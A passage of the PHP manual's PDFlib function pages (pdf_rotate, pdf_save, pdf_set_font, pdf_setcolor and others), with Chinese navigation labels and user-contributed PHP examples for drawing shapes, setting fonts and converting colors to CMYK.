//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf-stuff");
pdf_begin_page($pdf, 200, 200);

// just a simple rectangle
pdf_setlinewidth($pdf, 5); //make the border of the rectangle a bit wider
pdf_rotate($pdf, 5); //rotate the coordinate system (NOT THE RECTANGLE !!!!!)
pdf_rect($pdf, 100, 100, 50, 50); //draw the rectangle
pdf_stroke($pdf); //stroke the path with the current color(not yet :-)) and line width

//note: the rect is not drawn untill we use pdf_stroke - try it out!!!

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=invoice.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
Great german (!!!) tutorial
add a note add a note

后退 | 起点 | 前进
pdf_place_pdi_page | 上一级 | pdf_restore


pdf_restore

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_restore -- Restores formerly saved environment

Description

bool pdf_restore ( resource pdfdoc )

Restore the most recently saved graphics state. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
bob at nijman dot de
02-Aug-2001 08:11
By playing around with this you'll get a better understanding of what pdf_save and pdf_restore do.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","Sponsored by www.nijman.de");
pdf_set_info($pdf, "Creator", "See Author");
pdf_set_info($pdf, "Subject", "pdf_restore");
pdf_begin_page($pdf, 300, 300);

/*
By encapsulating the changes we make to the coordinate system
(pdf_translate() and pdf_rotate()) between pdf_save() and pdf_restore
we give these changes only local scope.
*/

/*
SMALL RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (100,100)
pdf_translate($pdf, 100, 100);
//Rotate the coordinate system by 45 degrees.
pdf_rotate($pdf, 45);
//Draw a samll rectangle
pdf_rect($pdf, 0, 0, 20, 20);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

/*
LARGER RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (10,20)
pdf_translate($pdf, 10, 20);
//Rotate the coordinate system by 15 degrees.
pdf_rotate($pdf, 15);
//Draw a larger rectangle
pdf_rect($pdf, 0, 0, 40, 40);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=nijman.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
add a note add a note

后退 | 起点 | 前进
pdf_rect | 上一级 | pdf_rotate


pdf_rotate

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_rotate -- Sets rotation

Description

bool pdf_rotate ( resource pdfdoc, float phi )

Rotate the coordinate system by phi degrees. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
gman at speakeasy dot net
31-Jan-2003 10:17
Thanks for your help, this is a clean working example ...
<?php
   $pdf = pdf_new();
   pdf_open_file($pdf);
   pdf_set_info($pdf,"Creator","images.php");
   pdf_set_info($pdf,"Title","Horizontal and Vertical Example");
   // Width of 612, and length of 792 make US Letter Size
   // Dimensions are reversed for Landscape Mode
   pdf_begin_page($pdf,792,612);

   pdf_set_font($pdf, "Helvetica-Oblique", 18, "host");
   pdf_show_xy($pdf, "This is horizontal text",50, 300);
   pdf_rotate($pdf, 90); /* rotate coordinates */
   pdf_show_xy($pdf,"vertical text",300, -400);

   pdf_rotate($pdf, -90); /* rotate coordinates */;
   pdf_show_xy($pdf, "This is horizontal text",50, 400);

   pdf_end_page($pdf);
   pdf_close($pdf);
   $buf = pdf_get_buffer($pdf);
   $len = strlen($buf);
   Header("Content-type: application/pdf");
   Header("Content-Length: $len");
   Header("Content-Disposition: inline; filename=images.pdf");
   echo $buf;
   pdf_delete($pdf);
?>
bml137 at myglo dot net
28-Jan-2003 03:11
When you rotate, remember that you are rotating the coordinate system.  So if you are rotating 90 degrees with the origin at (0,0) (bottom-left corner on PDFs) in the clockwise direction, then the pivot appears to be on the top-left of the PDF.  For instance, if you put a sheet of paper on the table in vertical position, then rotate it clockwise 90 degrees by pivoting from the bottom-left corner, the pivot (or origin) will now be in the top-left corner of the horizontal paper.  As you can see, you now have room show text in the +x, -y directions, not +x, +y.
add a note add a note

后退 | 起点 | 前进
pdf_restore | 上一级 | pdf_save


pdf_save

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_save -- Saves the current environment

Description

bool pdf_save ( resource pdfdoc )

Save the current graphics state. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
bob at nijman dot de
02-Aug-2001 08:12
By playing around with this you'll get a better understanding of what pdf_save and pdf_restore do.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","Sponsored by www.nijman.de");
pdf_set_info($pdf, "Creator", "See Author");
pdf_set_info($pdf, "Subject", "pdf_restore");
pdf_begin_page($pdf, 300, 300);

/*
By encapsulating the changes we make to the coordinate system
(pdf_translate() and pdf_rotate()) between pdf_save() and pdf_restore
we give these changes only local scope.
*/

/*
SMALL RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (100,100)
pdf_translate($pdf, 100, 100);
//Rotate the coordinate system by 45 degrees.
pdf_rotate($pdf, 45);
//Draw a samll rectangle
pdf_rect($pdf, 0, 0, 20, 20);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

/*
LARGER RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (10,20)
pdf_translate($pdf, 10, 20);
//Rotate the coordinate system by 15 degrees.
pdf_rotate($pdf, 15);
//Draw a larger rectangle
pdf_rect($pdf, 0, 0, 40, 40);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=nijman.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
add a note add a note

后退 | 起点 | 前进
pdf_rotate | 上一级 | pdf_scale


pdf_scale

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_scale -- Sets scaling

Description

bool pdf_scale ( resource pdfdoc, float x_scale, float y_scale )

Scale the coordinate system. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_save | 上一级 | pdf_set_border_color


pdf_set_border_color

(PHP 3 >= 3.0.12, PHP 4, PECL)

pdf_set_border_color -- Sets color of border around links and annotations

Description

bool pdf_set_border_color ( resource pdfdoc, float red, float green, float blue )

Set the border color for all kinds of annotations. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_scale | 上一级 | pdf_set_border_dash


pdf_set_border_dash

(PHP 4 >= 4.0.1, PECL)

pdf_set_border_dash -- Sets dash style of border around links and annotations

Description

bool pdf_set_border_dash ( resource pdfdoc, float black, float white )

Sets the border dash style for all kinds of annotations. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_setdash().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_border_color | 上一级 | pdf_set_border_style


pdf_set_border_style

(PHP 3 >= 3.0.12, PHP 4, PECL)

pdf_set_border_style -- Sets style of border around links and annotations

Description

bool pdf_set_border_style ( resource pdfdoc, string style, float width )

Sets the border style for all kinds of annotations. style is solid or dashed. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
Captain Len
26-Mar-2004 01:50
If width = 0, the annotation borders will be invisible.
add a note add a note

后退 | 起点 | 前进
pdf_set_border_dash | 上一级 | pdf_set_char_spacing


pdf_set_char_spacing

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_char_spacing -- Deprecated: Sets character spacing

Description

This function is deprecated, use pdf_set_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_border_style | 上一级 | pdf_set_duration


pdf_set_duration

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_duration -- Deprecated: Sets duration between pages

Description

This function is deprecated, use pdf_set_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_char_spacing | 上一级 | pdf_set_font


pdf_set_font

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_font -- Deprecated: Selects a font face and size

Description

This function is deprecated, use pdf_findfont() plus pdf_setfont() instead.

add a note add a note User Contributed Notes
smutny at nexus dot sk
15-Mar-2002 01:08
Encoding - how does it works:

i had a problem to use ISO8859-2(windows-1250 or Latin-2) - All Slavic Languages(Slovak, Czech, Polish, Slovenian etc...). Solution is:

PDF_set_parameter($pdf,"resourcefile","blabla/your project folder/lib/pdflib.upr");
//see PDFlib manual
pdf_set_font($pdf, "ArialBI", 14, "cp1250");
//ArialBI is Arial CE Bold Italic font.U have to left this font in pdflib.upr's folder
//cp1250 is name for code page 1250 cp1250.cpg
pdf_show_xy($pdf, "it works", 210,807);
//now it shold works, but!!!
//U have to install your CE fonts to your system and delete font files from:
//Program Files/Adobe/Acrobat 4.0/Resource/Font
//Why??
//if Adobe reader open pdf file, it search for:
// 1. embeded fonts
// 2. Adobe Reader self fonts!!!
// 3. system fonts
// more U can find here:
http://www.pdfzone.com/resources/tips/tip0045.html
leea at digitus dot com dot au
31-Jan-2001 11:28
Here is a link to a program which will convert your ttf fonts to afm format
http://www.freshmeat.net/projects/ttf2pt1/
shan at symbiotic dot 2y dot net
21-Dec-2000 06:21
For those who are looking
the PDF core fonts Are

Courier,Courier-Bold,Courier-Oblique,Courier-BoldOblique,
Helvetica,Helvetica-Bold,Helvetica-Oblique,Helvetica-BoldOblique,
Times-Roman,Times-Bold,Times-Italic,Times-BoldItalic,
Symbol,ZapfDingbats
afsilva at netscape dot net
07-Nov-2000 03:04
To anyone who is trying to add extra FONTS to work with PHP and pdflib.

Take a look at: ftp://ftp.adobe.com/pub/adobe/type/win/all/afmfiles/ - This is collection of fonts already converted to AFM. There are thousands of fonts. What I am doing is downloading everything, and then I will grep my way through the directories to find what I am looking for.

Another tip: to get the pdflib.upr file working with your fonts add:
putenv("PDFLIBRESOURCE=/dir/where/the/file/is/fonts/pdflib.upr");
on the beginning of your php script. And make sure you change the Font Definition entry on your pdflib.upr file as well. It needs to point to the directory where the .afm files are.
cox at idecnet dot com
31-Mar-2000 08:24
There is also another encoding called 'host'. in the pdflib test examples, they say:
" We don't want to use metrics files for the sample, and therefore stick to host encoding. For this reason the sample text (which uses German special characters) must be platform-specific. Both flavors only differ in the special characters."
dberry at boomshanka dot ab dot ca
02-Mar-2000 10:41
The actual structure for libpdf2.0 should be:

void pdf_set_font(int pdf document, string font name, double size, <i>string</i> encoding, int embed);

...where <i>encoding</i> is the string "builtin", "pdfdoc", "macroman", "macexpert" or "winansi" -- NOT the integer.
add a note add a note

后退 | 起点 | 前进
pdf_set_duration | 上一级 | pdf_set_horiz_scaling


pdf_set_horiz_scaling

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_horiz_scaling -- Sets horizontal scaling of text [deprecated]

Description

This function is deprecated, use pdf_set_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_font | 上一级 | pdf_set_info_author


pdf_set_info_author

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_info_author -- Deprecated: Fills the author field of the document

Description

This function is deprecated, use pdf_set_info() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_horiz_scaling | 上一级 | pdf_set_info_creator


pdf_set_info_creator

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_info_creator -- Deprecated: Fills the creator field of the document

Description

This function is deprecated, use pdf_set_info() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_info_author | 上一级 | pdf_set_info_keywords


pdf_set_info_keywords

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_info_keywords -- Deprecated: Fills the keywords field of the document

Description

This function is deprecated, use pdf_set_info() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_info_creator | 上一级 | pdf_set_info_subject


pdf_set_info_subject

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_info_subject -- Deprecated: Fills the subject field of the document

Description

This function is deprecated, use pdf_set_info() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_info_keywords | 上一级 | pdf_set_info_title


pdf_set_info_title

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_info_title -- Deprecated: Fills the title field of the document

Description

This function is deprecated, use pdf_set_info() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_info_subject | 上一级 | pdf_set_info


pdf_set_info

(PHP 4 >= 4.0.1, PECL)

pdf_set_info -- Fills a field of the document information

Description

bool pdf_set_info ( resource pdfdoc, string key, string value )

Fill document information field key with value. 如果成功则返回 TRUE，失败则返回 FALSE。 key is one of Subject, Title, Creator, Author, Keywords, or a user-defined key.

add a note add a note User Contributed Notes
ahmed613 at sbcglobal dot net
31-May-2006 02:27
Well, the pdf_set_info is used to set info such as the creator, Author name, And the subject of the document.
The Syntax of the pdf_set_info is: pdf_set_info("pdf object", "Author", "The value of the Author").
It's all explaind in the exmable below:

// $pdf is the name of the pdf ducoment you created.
pdf_set_info($pdf, "author", "Ahmed");
pdf_set_info($pdf, "title", "PDF tutorial");
pdf_set_info($pdf, "subject" , "PDF tutorial");
pdf_set_info($pdf, "creator", "php.net");

I wish it works with you ;)
add a note add a note

后退 | 起点 | 前进
pdf_set_info_title | 上一级 | pdf_set_leading


pdf_set_leading

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_leading -- Deprecated: Sets distance between text lines

Description

This function is deprecated, use pdf_set_value() instead.

add a note add a note User Contributed Notes
staemmler at gmx dot de
01-Dec-2000 01:22
You need to call pdf_set_leading() before pdf_continue_text() every time for proper work.
add a note add a note

后退 | 起点 | 前进
pdf_set_info | 上一级 | pdf_set_parameter


pdf_set_parameter

(PHP 4, PECL)

pdf_set_parameter -- Sets certain parameters

Description

bool pdf_set_parameter ( resource pdfdoc, string key, string value )

Sets some PDFlib parameters with string type. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_set_value().

add a note add a note User Contributed Notes
phillip at formstar dot com
11-Oct-2000 02:12
Here is a list of keywords and possible values:
/*
 * PDF_get_parameter() and PDF_set_parameter() deal with strings,
 * PDF_get_value() and PDF_set_value() deal with numerical values.
 */

/* setup */                                /* value set for 3rd arg */
"compress"    /* set_parameter */            | '[0-9]'
"resourcefile"    /* set_parameter */        Free string
"FontAFM"    /* set_parameter */        Free string
"FontPFM"    /* set_parameter */        Free string
"FontOutline"    /* set_parameter */        Free string
"Encoding"    /* set_parameter */        Free string
"debug"        /* set_parameter */        Free string (if 'c' is 1st char, compress off)
"nodebug"    /* set_parameter */        Free string (if 'c' is 1st char, compress on)
"compatibility"    /* set_parameter */ | '1.2' | '1.3'
"prefix"    /* set_parameter */        Free string
"warning"    /* set_parameter */
"binding"    /* internal use only */
"flush"        /* set_parameter */            |'none' | 'page' | 'content' | 'heavy'

/* page */
"pagewidth"    /* set_value */        | float for pixel value |
"pageheight"    /* set_value */    | float for pixel value |

/* font and text */
"textx"        /* get_value */        | 0 |
"texty"        /* get_value */        | 0 |
"font"        /* get_value */        | 0 |
"fontsize"    /* get_value */        | 0 |
"leading"    /* set_value */        | cur_font_size + points down |
"textrise"    /* set_value */
"horizscaling"    /* set_value */
"textrendering"    /* set_value */
"charspacing"    /* set_value */
"wordspacing"    /* set_value */
"underline"    /* set_parameter */    | 'true' | 'false'
"overline"    /* set_parameter */    | 'true' | 'false'
"strikeout"    /* set_parameter */    | 'true' | 'false'
"fontname"    /* get_parameter */    | 0 - 256 |
"capheight"    /* get_value */        | 0 - 256 |
"ascender"    /* get_value */        | 0 - 256 |
"descender"    /* get_value */        | 0 - 256 |

/* graphics */
"currentx"    /* get_value */        | 0 |
"currenty"    /* get_value */        | 0 |
"fillrule"    /* set_parameter */    |'winding'|'evenodd'

/* image */
"imagewidth"    /* get_value */    | image file descriptor: > 0, < 256 |
"imageheight"    /* get_value */    | image file descriptor: > 0, < 256 |
"resx"        /* get_value */        | image file descriptor: > 0, < 256 |
"resy"        /* get_value */        | image file descriptor: > 0, < 256 |

/* hypertext */
"openaction"    /* set_parameter */ |'retain'|'fitpage'|'fitbbox'|'fitwidth'|'fitheight'
"transition"    /* set_parameter */
"duration"    /* set_value */
max at cnsys dot bg
07-Jul-2000 12:01
About parameters and all about PDF functions you can find at: www.pdflib.com - get the latest version of pdflib with documentation
add a note add a note

后退 | 起点 | 前进
pdf_set_leading | 上一级 | pdf_set_text_matrix


pdf_set_text_matrix

(PHP 3 >= 3.0.6)

pdf_set_text_matrix -- Deprecated: Sets the text matrix

Description

This function is deprecated, use pdf_set_parameter() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_parameter | 上一级 | pdf_set_text_pos


pdf_set_text_pos

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_text_pos -- Sets text position

Description

bool pdf_set_text_pos ( resource pdfdoc, float x, float y )

Set the text output position specified by x and y. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_text_matrix | 上一级 | pdf_set_text_rendering


pdf_set_text_rendering

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_text_rendering -- Deprecated: Determines how text is rendered

Description

This function is deprecated, use pdf_set_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_text_pos | 上一级 | pdf_set_text_rise


pdf_set_text_rise

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_text_rise -- Deprecated: Sets the text rise

Description

This function is deprecated, use pdf_set_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_text_rendering | 上一级 | pdf_set_value


pdf_set_value

(PHP 4 >= 4.0.1, PECL)

pdf_set_value -- Sets certain numerical value

Description

bool pdf_set_value ( resource pdfdoc, string key, float value )

Set the value of some PDFlib parameter with float type. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_set_parameter().

add a note add a note User Contributed Notes
bigpub at ifrance dot com
26-Jan-2002 08:22
Sets various minor options in the PDF file. There are a number of available options which are able to be set for various properties including document and font properties.

textrendering  0 - Fill text
1 - Stroke text (outline)
2 - Fill and stroke test
3 - Invisible text
4 - Fill text and add to clipping path
5 - Stroke text and add to clipping path
6 - Fill and stroke text and add to clipping path
7 - Add text to the clipping path

compress  Document compression. Has a range from 0-9 0 - No compression
1 - Best speed
6 - Default value
9 - Best compression

pagewidth  Page width
pageheight  Page height
leading  Text leading or space between lines
textrise  Distance between the text position and the baseline. Positive values move the text up while negative values move the text down. Ideal for superscripts and subscripts
horizscaling  Sets the horizontal text scaling. Must be a value greater than 0. Reset to 100 and the start of a new page
charspacing  Distance between individual characters in a string. Use positive values to spread text apart and negative values to bring text closer together. Reset to 0 at the start of a new page
wordspacing  Distance between words in a string. Use positive values to spread text apart and negative values to bring text closer together. Reset to 0 at the start of a new page. Does not affect multi-byte encodings
duration  When using transition effects sets the display duration for the current page. Defailt is 1 second
add a note add a note

后退 | 起点 | 前进
pdf_set_text_rise | 上一级 | pdf_set_word_spacing


pdf_set_word_spacing

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_set_word_spacing -- Deprecated: Sets spacing between words

Description

This function is deprecated, use pdf_set_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_set_value | 上一级 | pdf_setcolor


pdf_setcolor

(PHP 4 >= 4.0.5, PECL)

pdf_setcolor -- Sets fill and stroke color

Description

bool pdf_setcolor ( resource pdfdoc, string type, string colorspace, float c1, float c2, float c3, float c4 )

Set the current color space and color. 如果成功则返回 TRUE，失败则返回 FALSE。 The parameter type can be fill, stroke or both to specify that the color is set for filling, stroking or both filling and stroking. The parameter colorspace can be gray, rgb, cmyk, spot or pattern. The parameters c1, c2, c3 and c4 represent the color components for the color space specified by colorspace. Except as otherwise noted, the color components are floating-point values that range from 0 to 1. Parameters c2, c3 and c4 are optional before PHP 4.3.5 or with PDFlib less than 5.

For gray only c1 is used.

For rgb parameters c1, c2, and c3 specify the red, green and blue values respectively.

<?php
// Set fill and stroke colors to white.
pdf_setcolor($pdf, "both", "rgb", 1, 1, 1);
?>

For cmyk, parameters c1, c2, c3, and c4 are the cyan, magenta, yellow and black values, respectively.

<?php
// Set fill and stroke colors to black.
pdf_setcolor($pdf, "both", "cmyk", 0, 0, 0, 1);
?>

For spot, c1 should be a spot color handles returned by pdf_makespotcolor() and c2 is a tint value between 0 and 1.

For pattern, c1 should be a pattern handle returned by pdf_begin_pattern().

add a note add a note User Contributed Notes
_meto ALT+q web.de
09-May-2004 12:03
Damn, this took me some real long time! Maybe it's helpfull for those who even have no idea of color-Schemes like me ;)

If u want to generate PDF's for Print Offices u need to set all the colors in CMYK.

Here is a Function that will convert RGB to CMYK

<?
function hex2rgb($hex) {
  $color = str_replace('#','',$hex);
  $rgb = array('r' => hexdec(substr($color,0,2)),
               'g' => hexdec(substr($color,2,2)),
               'b' => hexdec(substr($color,4,2)));
  return $rgb;
}

function rgb2cmyk($var1,$g=0,$b=0) {
   if(is_array($var1)) {
     $r = $var1['r'];
     $g = $var1['g'];
     $b = $var1['b'];
   }
   else $r=$var1;
   $cyan    = 255 - $r;
   $magenta = 255 - $g;
   $yellow  = 255 - $b;
   $black  = min($cyan, $magenta, $yellow);
   $cyan    = @(($cyan    - $black) / (255 - $black)) * 255;
   $magenta = @(($magenta - $black) / (255 - $black)) * 255;
   $yellow  = @(($yellow  - $black) / (255 - $black)) * 255;
   return array('c' => $cyan / 255,
               'm' => $magenta / 255,
               'y' => $yellow / 255,
               'k' => $black / 255);
}

$color=rgb2cmyk(hex2rgb('#FF0000'));
pdf_setcolor($pdf, "both", "cmyk", $color['c'], $color['m'], $color['y'], $color['k']);
?>

U can call it with parameters (r,g,b) or just an array(r,g,b) that contains these values.

Hope it works correct. All testing was fine.
enyo vel cora
13-Jan-2004 08:32
This seems a little less complicated:

this is the color you want to use : 'FF11AA'

<?php
pdf_setcolor ($pdf, 'both', 0xFF / 255, 0x11 / 255, 0xAA / 255);
?>
php at perfectweb dotcom
30-Apr-2003 07:22
Here's a better implementation for setting HTML hexadecimal colors:

function pdf_setcolor_hex($hexcolor, $type = '')
{
   global $pdf;    ## match this to your pdf resource handle
       $color['r'] = hexdec(substr($hexcolor, 0, 2))/255;
       $color['g'] = hexdec(substr($hexcolor, 2, 2))/255;
       $color['b'] = hexdec(substr($hexcolor, 4, 2))/255;
       if ($type != 'fill' && $type != 'stroke')  $type = 'both';
       pdf_setcolor($pdf, $type, 'rgb', $color['r'], $color['g'], $color['b']);
}

Sample usage:
pdf_setcolor_hex('FFFFFF', 'fill');

-Derek
php at perfectweb dotcom
29-Apr-2003 03:59
Here's a function for converting HTML hexadecimal colors to RGB decimals suitable for this function:

$color_hex = "FF0000";      ## whatever hex color you want
$color = convert_hexcolor_rgbdec($color_hex);
pdf_setcolor($pdf, 'fill', 'rgb', $color['r'], $color['g'], $color['b']);

function convert_hexcolor_rgbdec($color_hex)
{
   $color['r'] = hexdec(substr($color_hex, 0, 2))/255;
   $color['g'] = hexdec(substr($color_hex, 2, 2))/255;
   $color['b'] = hexdec(substr($color_hex, 4, 2))/255;
   return $color;
}

-Derek
maurice dot anglebert at free dot fr
28-Apr-2003 11:25
Bonjour,

Cette fonction est utilisable pour dfinir une couleur de police.

Hello,

I search for the way of setting colors for the font in pdf and I find this.
Hope it could help.

<?php
/**
*    set font color
*    maurice.anglebert@free.fr
*/

// path for the pdf file and string to show
$pdfFilePath = $_SERVER[DOCUMENT_ROOT]."/the_dir_of_the_file/test.pdf";
$string = "The new color of my font";

$pdf = pdf_new();
pdf_open_file($pdf, $pdfFilePath);
pdf_set_info($pdf, "Title", "Test pdf");
// A4 page
pdf_begin_page($pdf, 595, 842);

// set up of the font
$font = pdf_findfont($pdf, "Courier", "host", FALSE);
   if (isset($font)) {
       pdf_setfont($pdf, $font, 10) or die ("unknown font");
   }

pdf_setColor($pdf, "fill", "rgb",0, 0, 1);
// this for blue color
// pdf_setColor($pdf, "fill", "rgb",1, 0, 0) for red

pdf_set_value($pdf, "textrendering", 0);
// show at the top of the page center
pdf_show_boxed($pdf, $string, 0, 832, 595, 10, "center", "");

// resets graphic state
pdf_initGraphics($pdf);
// end of page and pdf_object
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);

// use header to get the file
header("Content-type: application/pdf");
header("Content-length: ".filesize($pdfFilePath));
header("Content-disposition: inline; filename=test.pdf");
readfile($pdfFilePath);
?>
psychosos at gmx dot at
17-Apr-2003 01:51
If you want to change the font color you need to set type to  "fill", not "stroke" ("both" also works, of course).
steven dot gould at NO_SPAM dot stevengould dot org
22-Dec-2001 03:44
<p>If you encounter errors of the form<br>
function 'PDF_setcolor' must not be called in 'path' scope<br>
this generally means that you've called the PDFLib functions in the wrong order. For example, the following would be *incorrect* because PDF_rect marks the beginning of the "path scope", and set_color must not be called in path scope:
<p>// THIS CODE WILL PRODUCE AN ERROR
PDF_rect($pdf,0,0,$width,$height);
PDF_setcolor($pdf,$red,$green,$blue);
PDF_fill($pdf);
<p>The correct order of function calls is as follows:
<p>// Correct order of function calls
PDF_setcolor($pdf,$red,$green,$blue);
PDF_rect($pdf,0,0,$width,$height);
PDF_fill($pdf);
add a note add a note

后退 | 起点 | 前进
pdf_set_word_spacing | 上一级 | pdf_setdash


pdf_setdash

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setdash -- Sets dash pattern

Description

bool pdf_setdash ( resource pdfdoc, float b, float w )

Set the current dash pattern to b black and w white units. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setcolor | 上一级 | pdf_setflat


pdf_setflat

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setflat -- Sets flatness

Description

bool pdf_setflat ( resource pdfdoc, float flatness )

Sets the flatness to a value between 0 and 100 inclusive. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setdash | 上一级 | pdf_setfont


pdf_setfont

(PHP 4 >= 4.0.5, PECL)

pdf_setfont -- Set the current font

Description

bool pdf_setfont ( resource pdfdoc, int font, float size )

Set the current font in the given size, using a font handle returned by pdf_findfont(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_findfont().

add a note add a note User Contributed Notes
Malcolm Scott
05-Jun-2003 03:38
Note that pdf_setfont (this function) and pdf_set_font (a deprecated function) are different. I spent a while trying to figure out why my code wasn't working; it turns out I'd included the extra underscore by accident...
add a note add a note

后退 | 起点 | 前进
pdf_setflat | 上一级 | pdf_setgray_fill


pdf_setgray_fill

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setgray_fill -- Sets filling color to gray value

Description

bool pdf_setgray_fill ( resource pdfdoc, float gray )

Set the current fill color to a gray value between 0 and 1 inclusive. 如果成功则返回 TRUE，失败则返回 FALSE。

注: PDFlib V4.0: Deprecated, use pdf_setcolor() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setfont | 上一级 | pdf_setgray_stroke


pdf_setgray_stroke

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setgray_stroke -- Sets drawing color to gray value

Description

bool pdf_setgray_stroke ( resource pdfdoc, float gray )

Set the current stroke color to a gray value between 0 and 1 inclusive. 如果成功则返回 TRUE，失败则返回 FALSE。

注: PDFlib V4.0: Deprecated, use pdf_setcolor() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setgray_fill | 上一级 | pdf_setgray


pdf_setgray

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setgray -- Sets drawing and filling color to gray value

Description

bool pdf_setgray ( resource pdfdoc, float gray )

Set the current fill and stroke color. 如果成功则返回 TRUE，失败则返回 FALSE。

注: PDFlib V4.0: Deprecated, use pdf_setcolor() instead.

add a note add a note User Contributed Notes
leea at digitus dot com dot au
30-Jan-2001 11:37
pdf_setgray double values start at 0 for black and end at 1 for white so for any shade of gray simply pick a value inbetween these 2 numbers
add a note add a note

后退 | 起点 | 前进
pdf_setgray_stroke | 上一级 | pdf_setlinecap


pdf_setlinecap

